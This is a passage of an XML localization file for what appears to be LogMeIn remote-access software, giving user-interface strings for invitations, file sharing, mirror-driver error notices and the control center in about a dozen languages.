<fr>Nouvelle invitation</fr>
<it>Nuovo invito</it>
<ru>Создать приглашение</ru>
<ja>新しい招待</ja>
<zh>新邀请</zh>
<ko>새 초대</ko>
<en-gb>New Invite</en-gb>
<hu>Új meghívás</hu>
<pt-br>Novo convite</pt-br>
<nl>Nieuwe uitnodiging</nl>
</msg>
<msg name="DETAILS">
<en>Details</en>
<es>Detalles</es>
<fr>Détails</fr>
<de>Details</de>
<it>Dettagli</it>
<ru>Подробности</ru>
<ja>詳細</ja>
<zh>详情</zh>
<ko>세부사항</ko>
<en-gb>Details</en-gb>
<hu>Részletek</hu>
<pt-br>Detalhes</pt-br>
<nl>Detailgegevens</nl>
</msg>
<msg name="DISABLE">
<en>Disable</en>
<de>Deaktivieren</de>
<es>Deshabilitar</es>
<fr>Désactivé</fr>
<it>Disattiva</it>
<ru>Отключить</ru>
<ja>無効</ja>
<zh>禁用</zh>
<ko>사용 안 함</ko>
<en-gb>Disable</en-gb>
<hu>Kikapcsolás</hu>
<pt-br>Desabilitar</pt-br>
<nl>Uitschakelen</nl>
</msg>
<msg name="EXPIRED">
<en>Expired</en>
<de>Abgelaufen</de>
<es>Caducado</es>
<fr>Expiré</fr>
<it>Scaduto</it>
<ru>Просрочено</ru>
<ja>期限切れ</ja>
<zh>已到期</zh>
<ko>만료</ko>
<en-gb>Expired</en-gb>
<hu>Lejárt</hu>
<pt-br>Expirado</pt-br>
<nl>Verstreken</nl>
</msg>
<msg name="TIMES">
<en>$1 times</en>
<es>$1 veces</es>
<de>$1 Mal</de>
<fr>$1 fois</fr>
<it>$1 volte</it>
<ru>$1 раз</ru>
<ja>$1 回</ja>
<zh>$1 次</zh>
<ko>$1번</ko>
<en-gb>$1 times</en-gb>
<hu>$1 alkalommal</hu>
<pt-br>$1 vezes</pt-br>
<nl>$1 keer</nl>
</msg>
<msg name="DESCRIPTION">
<en>Description</en>
<de>Beschreibung</de>
<es>Descripción</es>
<fr>Description</fr>
<it>Descrizione</it>
<ru>Описание</ru>
<ja>説明</ja>
<zh>说明</zh>
<ko>설명</ko>
<en-gb>Description</en-gb>
<hu>Leírás</hu>
<pt-br>Descrição</pt-br>
<nl>Beschrijving</nl>
</msg>
<msg name="EXPIRES">
<en>Expires</en>
<de>Verfällt</de>
<es>Caduca</es>
<fr>Expire</fr>
<it>Scadenza</it>
<ru>Истекает</ru>
<ja>有効期限</ja>
<zh>到期</zh>
<ko>만료</ko>
<en-gb>Expires</en-gb>
<hu>Lejárat</hu>
<pt-br>Expira</pt-br>
<nl>Verstrijkt op</nl>
</msg>
<msg name="ACTIVE">
<en>Active</en>
<de>Aktiv</de>
<es>Activo</es>
<fr>Actif</fr>
<it>Attivo</it>
<ru>Активный</ru>
<ja>アクティブ</ja>
<zh>激活</zh>
<ko>사용 중</ko>
<en-gb>Active</en-gb>
<hu>Aktív</hu>
<pt-br>Ativo</pt-br>
<nl>Geactiveerd</nl>
</msg>
<msg name="ANSWERED">
<en>Answered</en>
<es>Respondida</es>
<de>Beantwortet</de>
<fr>A fait l'objet d'une réponse</fr>
<it>Risposta inviata</it>
<ru>Отвечен</ru>
<ja>応答あり</ja>
<zh>已应答</zh>
<ko>응답함</ko>
<en-gb>Answered</en-gb>
<hu>Megválaszolva</hu>
<pt-br>Respondido</pt-br>
<nl>Beantwoord</nl>
</msg>
<msg name="URL">
<en>URL</en>
<es>URL</es>
<de>URL</de>
<fr>URL</fr>
<it>URL</it>
<ru>URL-адрес</ru>
<ja>URL</ja>
<zh>URL</zh>
<ko>URL</ko>
<en-gb>URL</en-gb>
<hu>URL</hu>
<pt-br>URL</pt-br>
<nl>URL-adres</nl>
</msg>
<msg name="COPYURL">
<en>Copy link to clipboard</en>
<es>Copiar vínculo en portapapeles</es>
<de>Hyperlink kopieren</de>
<fr>Copier le lien</fr>
<it>Copia collegamento negli Appunti</it>
<ru>Копировать ссылку</ru>
<ja>リンクをクリップボードにコピー</ja>
<zh>将链 接复制到剪贴板</zh>
<ko>클 립보드에 링 크 복 사</ko>
<en-gb>Copy link to clipboard</en-gb>
<hu>Hivatkozás másolása a vágólapra</hu>
<pt-br>Copiar link</pt-br>
<nl>Koppeling kopiëren</nl>
</msg>
</cat>
</cat>
<cat name="FILESHARE">
<msg name="CAPTION">
<en>Your Shared Files</en>
<es>Sus archivos compartidos</es>
<fr>Vos fichiers partagés</fr>
<de>Freigegebene Dateien</de>
<it>File condivisi</it>
<ru>Ваши общие файлы</ru>
<ja>共有ファイル</ja>
<zh>您的共享文件</zh>
<ko>공유 파일</ko>
<en-gb>Your Shared Files</en-gb>
<hu>Az Ön megosztott fájljai</hu>
<pt-br>Seus arquivos compartilhados</pt-br>
<nl>Uw gedeelde bestanden</nl>
</msg>
<msg name="FAILFILELIST">
<en>Failed to get list of shared files.</en>
<de>Die Liste der gemeinsam genutzten Dateien konnte nicht abgerufen werden.</de>
<es>Error al obtener la lista de archivos compartidos.</es>
<fr>Echec de l'obtention de la liste des fichiers partagés.</fr>
<it>Recupero dell'elenco dei file condivisi non riuscito.</it>
<ru>Не удалось получить список общих файлов.</ru>
<ja>共有ファイルのリストの取得に失敗しました。</ja>
<zh>无法获得共享文件列表。</zh>
<ko>공유 파일 목록을 가져오지 못했습니다.</ko>
<en-gb>Failed to get list of shared files.</en-gb>
<hu>Nem sikerült beszerezni a megosztott fájlok listáját.</hu>
<pt-br>Falha ao obter lista de arquivos compartilhados.</pt-br>
<nl>Opvragen van lijst met gedeelde bestanden is mislukt.</nl>
</msg>
<msg name="FAILFILEDELETE">
<en>Failed to remove this file from your shared files.</en>
<de>Diese Datei konnte nicht aus den gemeinsam genutzten Dateien gelöscht werden.</de>
<es>Error al quitar este archivo de sus archivos compartidos.</es>
<fr>Echec de la suppression de ce fichier de vos fichiers partagés.</fr>
<it>Rimozione di questo file dai file condivisi non riuscita.</it>
<ru>Не удалось удалить данный файл из числа общих файлов.</ru>
<ja>このファイルを共有ファイルから削除できませんでした。</ja>
<zh>无法从共享文件中删除此文件。</zh>
<ko>공유 파일에서 이 파일을 제거하지 못했습니다.</ko>
<en-gb>Failed to remove this file from your shared files.</en-gb>
<hu>Nem sikerült eltávolítani ezt a fájlt a megosztott fájlok közül.</hu>
<pt-br>Falha ao remover este arquivo dos arquivos compartilhados.</pt-br>
<nl>Verwijderen van dit bestand uit uw gedeelde bestanden is mislukt.</nl>
</msg>
<cat name="URLDLG">
<msg name="DESC">
<en>The File Sharing ticket has been created.</en>
<es>Se ha creado el parte de Transferencia de archivos.</es>
<de>Die Dateifreigabemeldung wurde erstellt.</de>
<fr>La demande de partage de fichiers a été créée.</fr>
<it>È stato creato il ticket di Condivisione dei file.</it>
<ru>Создан паспорт общего файла.</ru>
<ja>ファイル共有チケットが作成されました。</ja>
<zh>已创建文件共享票据。</zh>
<ko>파일 공유 티켓을 만들었습니다.</ko>
<en-gb>The File Sharing ticket has been created.</en-gb>
<hu>A Fájlmegosztás jegy elkészült.</hu>
<pt-br>Foi criado o tíquete de compartilhamento de arquivos.</pt-br>
<nl>Het ticket voor Bestanden delen is gemaakt.</nl>
</msg>
<msg name="URL">
<en>You can now send the URL displayed below to the recipient.</en>
<es>Ahora puede enviar la URL que aparece a continuación al destinatario.</es>
<de>Sie können jetzt den nachstehenden URL an den Empfänger senden.</de>
<fr>Vous pouvez à présent envoyer l'URL ci-dessous au destinataire.</fr>
<it>Ora è possibile inviare al destinatario l'URL visualizzato di seguito.</it>
<ru>Теперь получателю можно отправить показанный ниже URL-адрес.</ru>
<ja>以下に示した URL を受信者に今すぐ送ることができます。</ja>
<zh>您现在可以将下面显示的 URL 发送给收件人。</zh>
<ko>아래에 표시된 URL을 수신인에게 보낼 수 있습니다.</ko>
<en-gb>You can now send the URL displayed below to the recipient.</en-gb>
<hu>Most elküldheti a címzettnek az alább feltüntetett URL címet.</hu>
<pt-br>Agora você pode enviar para o destinatário o URL exibido abaixo.</pt-br>
<nl>U kunt nu het URL-adres dat hieronder is weergegeven naar de geadresseerde verzenden.</nl>
</msg>
<msg name="COPYBUT">
<en>Copy</en>
<de>Kopieren</de>
<es>Copiar</es>
<fr>Copier</fr>
<it>Copia</it>
<ru>Копировать</ru>
<ja>コピー</ja>
<zh>复制</zh>
<ko>복사</ko>
<en-gb>Copy</en-gb>
<hu>Másolás</hu>
<pt-br>Copiar</pt-br>
<nl>Kopiëren</nl>
</msg>
<msg name="COPYTXT">
<en>Click to copy the File Sharing link to the Clipboard.</en>
<es>Haga clic para copiar el enlace de Transferencia de archivos en el portapapeles.</es>
<de>Klicken Sie hier, um den Dateifreigabelink in die Zwischenablage zu kopieren.</de>
<fr>Cliquez pour copier le lien du partage de fichiers dans le Presse-papiers.</fr>
<it>Fare clic per copiare negli Appunti il collegamento per la Condivisione dei file.</it>
<ru>Щелкните для копирования ссылки на общий файл в буфер обмена.</ru>
<ja>クリックすると、ファイル共有リンクがクリップボードにコピーされます。</ja>
<zh>单击以将文件共享链接复制到剪贴板。</zh>
<ko>파일 공유 링크를 클립보드에 복사하려면 클릭하십시오.</ko>
<en-gb>Click to copy the File Sharing link to the Clipboard.</en-gb>
<hu>Kattintson ide, hogy a fájlmegosztás hivatkozását a vágólapra másolja.</hu>
<pt-br>Clique para copiar o link Compartilhamento de arquivos na Área de transferência.</pt-br>
<nl>Klik op Kopiëren om de koppeling voor Bestanden delen naar het Klembord te kopiëren.</nl>
</msg>
<msg name="MAILBUT">
<en>Email</en>
<es>Correo electrónico</es>
<de>Email</de>
<fr>Email</fr>
<it>E-mail</it>
<ru>Электронная почта</ru>
<ja>電子メール</ja>
<zh>电子邮件</zh>
<ko>전자 메일</ko>
<en-gb>E-mail</en-gb>
<hu>E-mail</hu>
<pt-br>Email</pt-br>
<nl>E-mail</nl>
</msg>
<msg name="MAILTXT">
<en>Click to launch your email client with the File Sharing link.</en>
<es>Haga clic para iniciar el cliente de correo electrónico con el enlace de Transferencia de archivos.</es>
<de>Klicken Sie hier, um den Dateifreigabelink in Ihrem E-Mail-Client zu öffnen.</de>
<fr>Cliquez pour lancer votre client de messagerie avec le lien de partage de fichiers.</fr>
<it>Fare clic per avviare il client e-mail con il collegamento per la Condivisione dei file.</it>
<ru>Щелкните для запуска почтового клиента со ссылкой на общий файл.</ru>
<ja>クリックすると、ファイル共有リンクを使って電子メール クライアントが起動します。</ja>
<zh>单击以使用文件共享链接启动您的电子邮件客户端。</zh>
<ko>파일 공유 링크로 전자 메일 클라이언트를 실행하려면 클릭하십시오.</ko>
<en-gb>Click to launch your email client with the File Sharing link.</en-gb>
<hu>Kattintson ide az e-mail kliensnek a fájlmegosztás hivatkozásával való elindításához.</hu>
<pt-br>Clique para iniciar o cliente de email com o link Compartilhamento de arquivos.</pt-br>
<nl>Klik hierop om uw e-mailtoepassing te starten met deze koppeling voor Bestanden delen.</nl>
</msg>
<msg name="MAILSUBJECT">
<en>File Sharing link via LogMeIn.com</en>
<es>Enlace de Transferencia de archivos a través de LogMeIn.com</es>
<de>Dateifreigabelink über LogMeIn.com</de>
<fr>Lien de partage de fichiers via LogMeIn.com</fr>
<it>Collegamento per la Condivisione dei file tramite LogMeIn.com</it>
<ru>Ссылка на общий файл для доступа посредством LogMeIn.com</ru>
<ja>LogMeIn.com 経由のファイル共有リンク</ja>
<zh>通过 LogMeIn.com 的文件共享链接</zh>
<ko>LogMeIn.com을 통해 파일 공유 링크</ko>
<en-gb>File Sharing link via LogMeIn.com</en-gb>
<hu>Fájlmegosztás hivatkozás a LogMeIn.com webhelyen keresztül</hu>
<pt-br>Link Compartilhamento de arquivos via LogMeIn.com</pt-br>
<nl>Koppeling voor Bestanden delen via LogMeIn.com</nl>
</msg>
<msg name="MAILRECIPIENT">
<en>Enter Recipient Address</en>
<es>Introduzca la dirección del destinatario</es>
<de>Empfängeradresse eingeben</de>
<fr>Entrez l'adresse du destinataire</fr>
<it>Immetti indirizzo destinatario</it>
<ru>Введите адрес получателя</ru>
<ja>受信者アドレスを入力</ja>
<zh>输入收件人地址</zh>
<ko>수신인 주소 입력</ko>
<en-gb>Enter Recipient Address</en-gb>
<hu>Írja be a címzett címét</hu>
<pt-br>Digitar endereço do destinatário</pt-br>
<nl>Voer het e-mailadres van de geadresseerde in</nl>
</msg>
</cat>
</cat>
<cat name="MIRRORDRIVERCONFLICT">
<msg name="PARA1">
<en>%PRODUCTNAME has detected that your system has recovered from a serious error.</en>
<de>%PRODUCTNAME hat bemerkt, dass ihr System einen schweren Fehler hatte.</de>
<es>%PRODUCTNAME ha detectado que el sistema se ha recuperado de un error grave.</es>
<fr>%PRODUCTNAME a détecté que votre système a été récupéré d'une sérieuse erreur.</fr>
<it>%PRODUCTNAME ha rilevato che il sistema è stato ripristinato in seguito a un errore grave.</it>
<ru>%PRODUCTNAME обнаружил, что данная система восстановлена после серьезной ошибки.</ru>
<ja>%PRODUCTNAME は、システムが深刻なエラーから回復したことを検出しました。</ja>
<zh>%PRODUCTNAME 已检测到您的系统已从严重错误中恢复。</zh>
<ko>%PRODUCTNAME은(는) 시스템이 심각한 오류에서 복구되었음을 발견했습니다.</ko>
<en-gb>%PRODUCTNAME has detected that your system has recovered from a serious error.</en-gb>
<hu>A %PRODUCTNAME észlelte, hogy a rendszer súlyos hiba után állt helyre.</hu>
<pt-br>O %PRODUCTNAME detectou que o seu sistema se recuperou de um erro grave.</pt-br>
<nl>%PRODUCTNAME heeft vastgesteld dat uw systeem is hersteld na een ernstige fout.</nl>
</msg>
<msg name="PARA2">
<en>The error occurred during a remote control session and it is possible that your video driver conflicts with the Mirror Driver component used by %PRODUCTNAME.</en>
<de>Der Fehler passierte während der Fernsteuerung. Möglicherweise hatte der Grafiktreiber einen Konflikt mit dem Mirror Treiber, der von %PRODUCTNAME verwendet wird.</de>
<es>El error ocurrió durante una sesión de control remoto; es posible que su driver de vídeo entre en conflicto con el componente de Mirror Driver que utiliza %PRODUCTNAME.</es>
<fr>L'erreur s'est produite pendant une session de contrôle à distance et il est possible que votre pilote video soit en conflit avec le composant "Mirror Driver" employé par %PRODUCTNAME.</fr>
<it>L'errore si è verificato durante una sessione di controllo remoto ed è possibile che il driver video sia in conflitto con il componente Driver di mirroring utilizzato da %PRODUCTNAME.</it>
<ru>Ошибка во время сеанса удаленного управления. Возможно, возник конфликт между видеодрайвером и компонентом "Зеркальный драйвер", используемым приложением %PRODUCTNAME.</ru>
<ja>リモート制御セッション中にエラーが発生しました。ビデオ ドライバが、%PRODUCTNAME により使用されているミラー ドライバ コンポーネントと競合している可能性があります。</ja>
<zh>该错误是在远程控制会话期间发生的,原因可能是您的视频驱动程序与 %PRODUCTNAME 使用的镜像驱动程序组件发生冲突。</zh>
<ko>원격 제어 세션 중 오류가 발생했으며 비디오 드라이버가 %PRODUCTNAME에 사용되는 미러 드라이버 구성요소와 충돌할 수 있습니다.</ko>
<en-gb>The error occurred during a remote control session and it is possible that your video driver conflicts with the Mirror Driver component used by %PRODUCTNAME.</en-gb>
<hu>A hiba egy távvezérlési munkamenet során állt elő, és lehetséges, hogy az Ön video-illesztőprogramja ütközik a %PRODUCTNAME által használt Mirror illesztőprogram összetevővel.</hu>
<pt-br>O erro ocorreu durante uma sessão de controle remoto e é possível que o driver do seu vídeo entre em conflito com o componente Driver de espelho usado pelo %PRODUCTNAME.</pt-br>
<nl>Deze fout is opgetreden tijdens een sessie voor besturing op afstand en het is mogelijk dat er een conflict optreedt tussen uw beeldschermstuurprogramma en de Mirror Driver-component die door %PRODUCTNAME wordt gebruikt.</nl>
</msg>
<msg name="PARA3">
<en>The %PRODUCTNAME Mirror Driver has been disabled and will not load during subsequent remote control sessions. This means that you will not benefit from its acceleration capabilities.</en>
<de>Der %PRODUCTNAME Mirror Treiber wurde deaktiviert und wird bei der Fernsteuerung nicht mehr geladen. Das bedeutet, dass sie dessen Geschwindigkeitsvorteil nicht nutzen können.</de>
<es>Se ha deshabilitado Mirror Driver de %PRODUCTNAME y no se cargará durante las sesiones de control remoto subsiguientes. De este modo, no se beneficiará de sus capacidades de aceleración.</es>
<fr>%PRODUCTNAME "Mirror Driver" a été désactivé et ne se chargera plus pour les prochaines sessions de contrôle à distance. Ceci signifie que vous ne bénéficierez pas de ses capacités d'accélération.</fr>
<it>Il Driver di mirroring di %PRODUCTNAME è stato disattivato e non verrà caricato nelle sessioni di controllo remoto successive. Ciò significa che non si potrà sfruttarne le capacità di accelerazione.</it>
<ru>Зеркальный драйвер %PRODUCTNAME отключен и не будет загружаться во время следующих сеансов удаленного управления. Это означает, что его возможности ускорения будут недоступны.</ru>
<ja>%PRODUCTNAME ミラー ドライバは無効になりました。以降のリモート制御セッションの間、ミラー ドライバによるロードは実行されません。つまり、このドライバの高速化機能は利用できません。</ja>
<zh>%PRODUCTNAME 镜像驱动程序已禁用,并且不能在随后的远程控制会话期间加载。这意味着您将不能利用该程序的加速功能。</zh>
<ko>%PRODUCTNAME 미러 드라이버는 사용하지 않도록 설정되었으므로 후속 원격 제어 세션 중 로드되지 않습니다. 따라서 가속화 성능의 이점을 얻을 수 없습니다.</ko>
<en-gb>The %PRODUCTNAME Mirror Driver has been disabled and will not load during subsequent remote control sessions. This means that you will not benefit from its acceleration capabilities.</en-gb>
<hu>A %PRODUCTNAME Mirror illesztőprogram ki van kapcsolva, és nem fog betöltődni a következő távvezérlési munkamenetek során. Ez azt jelenti, hogy nem húzhat hasznot annak gyorsító funkcióiból.</hu>
<pt-br>O Driver de espelho do %PRODUCTNAME foi desabilitado e não será carregado durante sessões de controle remoto subseqüentes. Isso significa que você não se beneficiará dos recursos de aceleração.</pt-br>
<nl>De Mirror Driver van %PRODUCTNAME is nu uitgeschakeld en wordt niet geladen tijdens de volgende sessies voor besturing op afstand. Dit betekent echter dat u geen gebruik kunt maken van de mogelijkheden die dit stuurprogramma voor een versnelde weergave biedt.</nl>
</msg>
<msg name="PARA4">
<en>You might want to update your system's video driver. This can be done by visiting your video card manufacturer's website and downloading and installing the latest driver for the video card you have. Once you have updated the drivers, you should re-enable the %PRODUCTNAME mirror driver by opening the web interface and checking the "Use Mirror Display Driver" checkbox on the "Remote Control" page under "Preferences".</en>
<de>Wenn sie ihren Grafiktreiber aktualisieren wollen, besuchen sie die Webseite des Herstellers der Grafikkarte und laden den neuesten Treiber herunter. Nachdem sie den Treiber aktualisiert haben, sollten sie den %PRODUCTNAME Mirror Treiber wieder aktivieren, indem sie unter Einstellungen / Fernsteuerung den Haken bei "Mirror Treiber verwenden" setzen.</de>
<es>Es posible que desee actualizar el driver de vídeo instalado en el sistema. Puede hacerlo visitando el sitio web del fabricante de la tarjeta de vídeo y descargando e instalando el driver más reciente para su tarjeta. Una vez actualizados los drivers, debe habilitar de nuevo el driver de réplica de %PRODUCTNAME; para ello, abra la interfaz web y active la casilla "Utilizar driver de réplica" en la página "Control remoto", bajo "Preferencias".</es>
<fr>Vous devriez mettre à jour le pilote vidéo de votre système. Ceci peut être fait en visitant le site Web de votre fabricant de carte vidéo, en téléchargeant et en installant le dernier pilote pour la carte vidéo que vous avez. Une fois que vous avez mis à jour les pilotes, vous devriez réactiver le composant %PRODUCTNAME "Mirror Driver" en ouvrant l'interface Web et en cochant l'option "Utiliser pilote Mirror Display"  sur la page "Accès distant" sous "Préférences".</fr>
<it>È possibile che si desideri aggiornare il driver video del sistema. Questa operazione può essere eseguita visitando il sito Web del produttore della scheda video ed effettuando il download e l'installazione del driver più recente per la scheda di cui si dispone. Dopo aver aggiornato i driver, si dovrebbe riattivare il Driver di mirroring di %PRODUCTNAME aprendo l'interfaccia Web e selezionando la casella di controllo "Usa Driver di mirroring del display" nella pagina "Controllo remoto" in "Preferenze".</it>
<ru>Может возникнуть необходимость в обновлении системного видеодрайвера. Чтобы это сделать, посетите веб-сайт производителя своей видеокарты, загрузите и установите последнюю версию драйвера для используемой модели видеокарты. После обновления драйверов следует включить зеркальный драйвер %PRODUCTNAME, открыв веб-интерфейс и установив флажок "Использовать драйвер зеркального дисплея" на странице "Удаленное управление" в разделе "Параметры".</ru>
<ja>システムのビデオ ドライバを更新する場合があります。これは、ビデオ カードの開発元の Web サイトを開き、現在所有しているビデオ カードに対応する最新のドライバをダウンロードしてインストールすると実行できます。ドライバを更新したら、%PRODUCTNAME ミラー ドライバを再び有効にする必要があります。これには、Web インターフェイスを開き、[設定] の下にある [リモート コントロール] ページの [ミラー表示ドライバの使用] チェック ボックスにチェックを入れます。</ja>
<zh>您可能想更新系统的视频驱动程序。通过访问视频卡制造商的 Web 站点并下载和安装针对您的视频卡的最新驱动程序,可以完成此操作。更新驱动程序后,您应该重新启用 %PRODUCTNAME 镜像驱动程序,方法是打开 Web 界面并选中“远程控制”页面中“首选项”下的“使用镜像显示驱动程序”复选框。</zh>
<ko>시스템의 비디오 드라이버를 업데이트하려고 할 수 있습니다. 비디오 카드 제조업체의 웹 사이트를 방문하고 사용자의 비디오 카드용 최신 드라이버를 다운로드하고 설치하면 비디오 드라이버를 업데이트할 수 있습니다. 드라이버를 업데이트했으면 웹 인터페이스를 열고 "기본 설정"의 "원격 제어" 페이지에서 "미러 표시 드라이버 사용" 확인란을 선택하여 %PRODUCTNAME 미러 드라이버를 다시 사용하도록 설정하십시오.</ko>
<en-gb>You might want to update your system's video driver. This can be done by visiting your video card manufacturer's website and downloading and installing the latest driver for the video card you have. Once you have updated the drivers, you should re-enable the %PRODUCTNAME mirror driver by opening the web interface and checking the "Use Mirror Display Driver" checkbox on the "Remote Control" page under "Preferences".</en-gb>
<hu>Esetleg frissítheti rendszerének video-illesztőprogramját. Ezt megteheti olyan módon, hogy meglátogatja a videokártya gyártójának webhelyét és letölti és telepíti az Ön videokártyájához a legújabb illesztőprogramot. Ha frissítette az illesztőprogramokat, ismét be kell kapcsolnia a %PRODUCTNAME Mirror illesztőprogramját úgy, hogy megnyitja a webes felületet, majd bejelöli a "Mirror video-illesztőprogram használata" jelölőnégyzetet a "Távvezérlés" oldalon, a "Beállítások" alatt.</hu>
<pt-br>Atualize o driver de vídeo do seu sistema. Isso pode ser feito visitando o site do fabricante da placa de vídeo e baixando e instalando o driver mais recente para a sua placa de vídeo. Depois de atualizar os drivers, você deverá reabilitar o driver de espelho do %PRODUCTNAME abrindo a interface da web e marcando a caixa de seleção "Usar driver de exibição de espelho" na página "Controle remoto" em "Preferências".</pt-br>
<nl>U kunt ook een update uitvoeren van het videostuurprogramma op uw systeem. Hiervoor bezoekt u de website van de fabrikant van uw videokaart om het meest recente stuurprogramma voor uw videokaart te downloaden en te installeren. Nadat u een update van de stuurprogramma's hebt uitgevoerd, moet u Mirror Driver van %PRODUCTNAME opnieuw inschakelen door de webinterface weer te geven en op de pagina "Besturing op afstand" onder "Voorkeurinstellingen" het selectievakje "Stuurprogramma voor gespiegeld beeldscherm gebruiken" in te schakelen.</nl>
</msg>
</cat>
<!-- messages for the control center window (tray icon double click) -->
<cat name="MAINAPP">
<msg name="TITLE">
<en>%PRODUCTNAME Control Center</en>
<de>%PRODUCTNAME Control Center</de>
<es>Centro de control de %PRODUCTNAME</es>
<fr>Centre de contrôle %PRODUCTNAME</fr>
<it>Centro di controllo di %PRODUCTNAME</it>
<ru>Центр управления %PRODUCTNAME</ru>
<ja>%PRODUCTNAME  制御センター</ja>
<zh>%PRODUCTNAME 控制中心</zh>
<ko>%PRODUCTNAME 제어 센터</ko>
<en-gb>%PRODUCTNAME Control Centre</en-gb>
<hu>%PRODUCTNAME Vezérlőközpont</hu>
<pt-br>Centro de Controle do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME Beheercentrum</nl>
</msg>
<msg name="ISENABLED">
<en>%PRODUCTNAME Is Enabled</en>
<de>%PRODUCTNAME ist aktiv</de>
<es>%PRODUCTNAME está habilitado</es>
<fr>%PRODUCTNAME est activé</fr>
<it>%PRODUCTNAME attivato</it>
<ru>Приложение %PRODUCTNAME включено</ru>
<ja>%PRODUCTNAME は有効です</ja>
<zh>已启用 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME을(를) 사용할 수 있음</ko>
<en-gb>%PRODUCTNAME Is Enabled</en-gb>
<hu>A %PRODUCTNAME be van kapcsolva</hu>
<pt-br>O %PRODUCTNAME está habilitado</pt-br>
<nl>%PRODUCTNAME is ingeschakeld</nl>
</msg>
<msg name="ISDISABLED">
<en>%PRODUCTNAME Is Disabled</en>
<de>%PRODUCTNAME ist deaktiviert</de>
<es>%PRODUCTNAME está deshabilitado</es>
<fr>%PRODUCTNAME est déactivé</fr>
<it>%PRODUCTNAME disattivato</it>
<ru>Приложение %PRODUCTNAME выключено</ru>
<ja>%PRODUCTNAME は無効です</ja>
<zh>已禁用 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME을(를) 사용할 수 없음</ko>
<en-gb>%PRODUCTNAME Is Disabled</en-gb>
<hu>A %PRODUCTNAME ki van kapcsolva</hu>
<pt-br>O %PRODUCTNAME está desabilitado</pt-br>
<nl>%PRODUCTNAME is uitgeschakeld</nl>
</msg>
<msg name="RUNNING">
<en>%PRODUCTNAME is currently running on this computer.</en>
<de>%PRODUCTNAME ist auf diesem Computer aktiv.</de>
<es>%PRODUCTNAME se está ejecutando en este ordenador.</es>
<fr>%PRODUCTNAME fonctionne actuellement sur cet ordinateur.</fr>
<it>%PRODUCTNAME è in esecuzione su questo computer.</it>
<ru>В настоящее время приложение %PRODUCTNAME запущено на данном компьютере.</ru>
<ja>%PRODUCTNAME は現在、このコンピュータで起動しています。</ja>
<zh>%PRODUCTNAME 当前正在此计算机上运行。</zh>
<ko>%PRODUCTNAME은(는) 현재 이 컴퓨터에서 실행 중입니다.</ko>
<en-gb>%PRODUCTNAME is currently running on this computer.</en-gb>
<hu>A %PRODUCTNAME jelenleg fut ezen a számítógépen.</hu>
<pt-br>O %PRODUCTNAME está atualmente em execução neste computador.</pt-br>
<nl>%PRODUCTNAME is op dit moment gestart op deze computer.</nl>
</msg>
<msg name="INSTALLEDNOTRUNNING">
<en>%PRODUCTNAME is installed, but currently not running on this computer.</en>
<de>%PRODUCTNAME ist installiert, jedoch momentan nicht aktiv auf dem Computer.</de>
<es>%PRODUCTNAME está instalado, pero en estos momentos no se está ejecutando en este ordenador.</es>
<fr>%PRODUCTNAME est installé, mais ne fonctionne actuellement pas sur cet ordinateur.</fr>
<it>%PRODUCTNAME è installato, ma non in esecuzione su questo computer.</it>
<ru>В настоящее время приложение %PRODUCTNAME запущено на данном компьютере.</ru>
<ja>%PRODUCTNAME はインストールされていますが、現在、このコンピュータで起動していません。</ja>
<zh>%PRODUCTNAME 已安装,但当前没有在此计算机上运行。</zh>
<ko>%PRODUCTNAME은(는) 설치되었지만 현재 이 컴퓨터에서 실행 중이 아닙니다.</ko>
<en-gb>%PRODUCTNAME is installed, but currently not running, on this computer.</en-gb>
<hu>A %PRODUCTNAME telepítve van, de jelenleg nem fut ezen a számítógépen.</hu>
<pt-br>O %PRODUCTNAME está instalado, mas atualmente não está em execução neste computador.</pt-br>
<nl>%PRODUCTNAME is geïnstalleerd, maar is op dit moment niet gestart op deze computer.</nl>
</msg>
<msg name="CLICKTOENABLE">
<en>Enable %PRODUCTNAME.</en>
<de>%PRODUCTNAME aktivieren.</de>
<es>Habilitar %PRODUCTNAME.</es>
<fr>Activer %PRODUCTNAME.</fr>
<it>Attiva %PRODUCTNAME.</it>
<ru>Включить %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME を有効にする。</ja>
<zh>启用 %PRODUCTNAME。</zh>
<ko>%PRODUCTNAME을(를) 사용하도록 설정합니다.</ko>
<en-gb>Enable %PRODUCTNAME.</en-gb>
<hu>%PRODUCTNAME bekapcsolása.</hu>
<pt-br>Habilitar o %PRODUCTNAME.</pt-br>
<nl>%PRODUCTNAME inschakelen.</nl>
</msg>
<msg name="CLICKTODISABLE">
<en>Disable %PRODUCTNAME.</en>
<de>%PRODUCTNAME deaktivieren.</de>
<es>Deshabilitar %PRODUCTNAME.</es>
<fr>Désactiver %PRODUCTNAME.</fr>
<it>Disattiva %PRODUCTNAME.</it>
<ru>Отключить %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME を無効にする。</ja>
<zh>禁用 %PRODUCTNAME。</zh>
<ko>%PRODUCTNAME을(를) 사용하지 않도록 설정합니다.</ko>
<en-gb>Disable %PRODUCTNAME.</en-gb>
<hu>%PRODUCTNAME kikapcsolása.</hu>
<pt-br>Desabilitar o %PRODUCTNAME.</pt-br>
<nl>%PRODUCTNAME uitschakelen.</nl>
</msg>
<msg name="ADMINCANENABLE">
<en>Your system administrator can configure your computer to run %PRODUCTNAME automatically when Windows starts.</en>
<de>Ihr Systemadministrator kann ihren Computer so konfigurieren, dass %PRODUCTNAME automatisch mit Windows startet.</de>
<es>Su administrador de sistema puede configurar su ordenador para ejecutar %PRODUCTNAME automáticamente cuando se inicie Windows.</es>
<fr>Votre administrateur système peut configurer votre ordinateur pour qu'il lance %PRODUCTNAME automatiquement au démarrage de Windows.</fr>
<it>L'amministratore di sistema può configurare il computer in modo da eseguire automaticamente %PRODUCTNAME all'avvio di Windows.</it>
<ru>Системный администратор может настроить компьютер на запуск приложения %PRODUCTNAME вместе с операционной системой Windows.</ru>
<ja>システム管理者は、Windows の起動時に %PRODUCTNAME を自動的に実行するようにコンピュータを設定できます。</ja>
<zh>您的系统管理员可以将您的计算机配置为在 Windows 启动时自动运行 %PRODUCTNAME。</zh>
<ko>시스템 관리자는 Windows가 시작될 때 컴퓨터가 자동으로 %PRODUCTNAME을(를) 실행하도록 구성할 수 있습니다.</ko>
<en-gb>Your system administrator can configure your computer to run %PRODUCTNAME automatically when Windows starts.</en-gb>
<hu>Az Ön rendszergazdája beállíthatja az Ön számítógépét, hogy az automatikusan futtassa a %PRODUCTNAME programot a Windows indulásakor.</hu>
